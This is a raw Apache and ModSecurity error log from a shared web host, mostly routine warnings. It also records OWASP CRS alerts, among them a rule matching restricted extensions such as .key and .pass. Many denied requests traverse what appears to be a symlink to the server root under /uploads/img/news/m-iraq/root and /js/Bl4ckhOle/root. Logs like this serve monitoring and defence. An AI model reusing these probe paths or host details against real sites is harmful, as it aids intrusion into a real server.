[Fri Jul 17 08:06:35.032353 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:35.038986 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:35.161281 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:35.226125 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:35.393884 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:35.436461 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:35.667969 2026] [security2:error] [pid 1993573:tid 1993573] [client 216.73.216.245:0] ModSecurity: Warning. Matched phrase ".vimrc" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .vimrc found within REQUEST_FILENAME: /uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/mutt/sample.vimrc-sidebar"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/mutt/sample.vimrc-sidebar"] [unique_id "almVM3t8zp89pALg8Q5hGgAAAA4"]
[Fri Jul 17 08:06:35.668303 2026] [security2:error] [pid 1993573:tid 1993573] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/mutt/sample.vimrc-sidebar"] [unique_id "almVM3t8zp89pALg8Q5hGgAAAA4"]
[Fri Jul 17 08:06:35.697254 2026] [security2:error] [pid 1993573:tid 1993573] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/mutt/sample.vimrc-sidebar"] [unique_id "almVM3t8zp89pALg8Q5hGgAAAA4"]
[Fri Jul 17 08:06:35.761199 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:35.953329 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:34456] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:36.064901 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:36.072514 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:36.399140 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/ttyS3/flags
[Fri Jul 17 08:06:36.749905 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:36.828087 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:39.086748 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:39.828138 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:40.503554 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:40.982799 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:41.802409 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:55576] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:45.588339 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/nf_conntrack/objects
[Fri Jul 17 08:06:45.826246 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:55742] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:45.990508 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:48.167225 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu3/node0/cpu1/driver/bind
[Fri Jul 17 08:06:48.943009 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:55868] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:49.532159 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:49.716635 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:49.763806 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:55924] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:51.437442 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:7/subsystem/ttyS1/uevent"] [unique_id "almVQw5GPQ6hs4VrfMo5oAAAAAY"]
[Fri Jul 17 08:06:51.437485 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:7/subsystem/ttyS1/uevent"] [unique_id "almVQw5GPQ6hs4VrfMo5oAAAAAY"]
[Fri Jul 17 08:06:51.617390 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:51.617658 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:51.738971 2026] [security2:error] [pid 1999089:tid 1999089] [client 185.191.171.19:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph2/vendor/egulias/email-validator/src/Warning/LocalTooLong.php"] [unique_id "almVQ0MCK1PbyQ2qe6D97wAAABQ"]
[Fri Jul 17 08:06:51.739012 2026] [security2:error] [pid 1999089:tid 1999089] [client 185.191.171.19:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph2/vendor/egulias/email-validator/src/Warning/LocalTooLong.php"] [unique_id "almVQ0MCK1PbyQ2qe6D97wAAABQ"]
[Fri Jul 17 08:06:52.077047 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:52.129697 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:58078] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:53.213736 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:58102] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:53.276702 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/subsystem/uevent
[Fri Jul 17 08:06:54.645935 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:55.003004 2026] [security2:error] [pid 1994976:tid 1994976] [client 57.141.18.87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory72/node0/cpu3/node0/memory20/node0/memory76/power/"] [unique_id "almVRjRCJXF37-WnVv0eSwAAABI"]
[Fri Jul 17 08:06:55.133100 2026] [security2:error] [pid 1994976:tid 1994976] [client 57.141.18.87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory72/node0/cpu3/node0/memory20/node0/memory76/power/"] [unique_id "almVRjRCJXF37-WnVv0eSwAAABI"]
[Fri Jul 17 08:06:56.108300 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:57.216484 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:58.003718 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:58302] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:58.139119 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:58.511176 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:58.688278 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:59.102196 2026] [security2:error] [pid 1994976:tid 1994976] [client 47.128.48.100:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php84/etc/php.d.all/gearman.ini"] [unique_id "almVSzRCJXF37-WnVv0eUAAAABI"]
[Fri Jul 17 08:06:59.102720 2026] [security2:error] [pid 1994976:tid 1994976] [client 47.128.48.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php84/etc/php.d.all/gearman.ini"] [unique_id "almVSzRCJXF37-WnVv0eUAAAABI"]
[Fri Jul 17 08:06:59.131300 2026] [security2:error] [pid 1994976:tid 1994976] [client 47.128.48.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php84/etc/php.d.all/gearman.ini"] [unique_id "almVSzRCJXF37-WnVv0eUAAAABI"]
[Fri Jul 17 08:07:00.443688 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:58450] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:02.016581 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:02.662794 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:03.516146 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVT5OFLENLI63GGOEGLQAAAAQ"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:07:03.516175 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVT5OFLENLI63GGOEGLQAAAAQ"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:07:03.585598 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:46550] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:04.134303 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:04.242565 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:04.867687 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:04.958526 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/tty2/power/control"] [unique_id "almVUBAi3pC6yjXGNq15PQAAAAU"]
[Fri Jul 17 08:07:04.958558 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/tty2/power/control"] [unique_id "almVUBAi3pC6yjXGNq15PQAAAAU"]
[Fri Jul 17 08:07:05.089785 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:05.116299 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:05.116395 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:05.322867 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/ttyS0/line
[Fri Jul 17 08:07:06.051778 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/module/mousedev/parameters/xres"] [unique_id "almVUunUgtv5ujFYWh_rlwAAAA0"]
[Fri Jul 17 08:07:06.051854 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/module/mousedev/parameters/xres"] [unique_id "almVUunUgtv5ujFYWh_rlwAAAA0"]
[Fri Jul 17 08:07:06.142443 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:32/subsystem/ttyS1/line
[Fri Jul 17 08:07:06.189603 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:46696] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:06.324580 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:07.038453 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:46778] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:07.430015 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 57.141.18.87:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory93/subsystem/devices/memory103/subsystem/devices/memory73/node0/memory23/subsystem/drivers_probe
[Fri Jul 17 08:07:07.973133 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:08.057417 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:08.089756 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:46836] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:08.238523 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:08.601385 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:42/subsystem/ttyS3/line
[Fri Jul 17 08:07:09.108078 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:46880] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:09.832162 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:46922] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:10.271085 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVVoha5y5fYnQ1qRrrjwAAAAE"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:07:10.271115 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVVoha5y5fYnQ1qRrrjwAAAAE"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:07:10.286220 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:10.372968 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:10.373185 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:10.431076 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:10.599939 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:11.066323 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:11.163291 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:11.163629 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:11.432573 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:11.910457 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:59930] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:11.931945 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:59946] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:13.113875 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:13.242931 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:13.756996 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/244:0/device/subsystem/uevent
[Fri Jul 17 08:07:14.088031 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:60084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:14.306651 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:14.488870 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:14.761287 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:14.993530 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:15.033694 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:15.585933 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:60170] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:15.610993 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:60184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:16.105627 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:60218] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:16.694264 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:16.876914 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/libata/holders/ata_generic/uevent
[Fri Jul 17 08:07:17.515389 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:18.012212 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:60308] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:18.079280 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:18.775085 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 57.141.18.66:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory63/node0/cpu2/subsystem/devices/cpu0/subsystem/devices/cpu2/driver/uevent
[Fri Jul 17 08:07:18.830487 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:19.852929 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:60382] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:19.856819 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:20.401512 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:20.495587 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:20.498029 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:60424] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:21.145372 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:21.427348 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/ttyS0/uartclk
